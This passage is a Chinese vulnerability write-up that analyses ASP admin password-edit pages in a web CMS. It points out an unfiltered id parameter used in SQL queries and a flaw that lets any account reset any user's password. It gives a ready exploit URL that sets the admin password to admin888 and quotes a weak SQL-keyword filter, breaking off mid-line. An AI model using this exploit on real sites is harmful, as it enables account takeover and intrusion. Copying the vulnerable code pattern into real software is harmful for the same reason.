...依然CGX...

　　id,username的作用与实现基本了解了,证实一下,22行:

　　id=trim(request("id")) //这段是根据id(木过滤)得到修改的username云云

　　if id<>"" then

　　sql = "select * from admin where id="&id

　　Set rs = Server.CreateObject("ADODB.RecordSet")

　　rs.Open sql,conn,1,1

　　if rs.recordcount<>0 then

　　username=rs("user")

　　end if

　　在来看下保存密码的文件,admin_admin_editpass_save.asp,25行:

　　id=trim(request("id")) //id也没过滤

　　username=trim(request("username"))

　　password=md5(trim(request("password")))

　　if id<>"" then //漏洞出现咯

　　sql = "select * from admin where id="&id

　　Set rs = Server.CreateObject("ADODB.RecordSet")

　　rs.Open sql,conn,1,2

　　if rs.recordcount<>0 then

　　rs("user")=username //MD,这也能改

　　rs("pass")=password

　　rs.update //cool,直接update了

　　end if

　　敏感的人一下就会看出,id没过滤,没错,是没过滤,但是我要告诉你,这个漏洞另有乾坤,就算他过滤了,也照黑无误!

　　首先程序通过这个id得到对应的username,而id是和你登录信息有关的,这些不重要,重要的是他是依靠id直接update密码的,只要指定了id,有个账户就可以更改任意用户的密码.

　　Exploit:http://www.xxx.com/admin_admin_editpass_save.asp?id=1&username=admin&password=admin888

　　admin密码就改成admin888了,拿shell很简单,还是数据库.

　　关于这个id的注入,也很简单,不过也需要一个账户可以访问这个文件,发现迅时有放注入的过滤处理,引用了一个文件

　　<--#include file = admin_conn.asp -->

　　,逐步跟踪这个文件,发现详细的过滤是这样的:

　　sss=LCase(request.servervariables("QUERY_STRING"))

　　if instr(sss,"select")<>0 or instr(sss,"inster")<>0 or instr(sss,"delete")<>0 or instr(sss,"(")<>0 or instr(sss,"’or")<>0 then

　　response.write "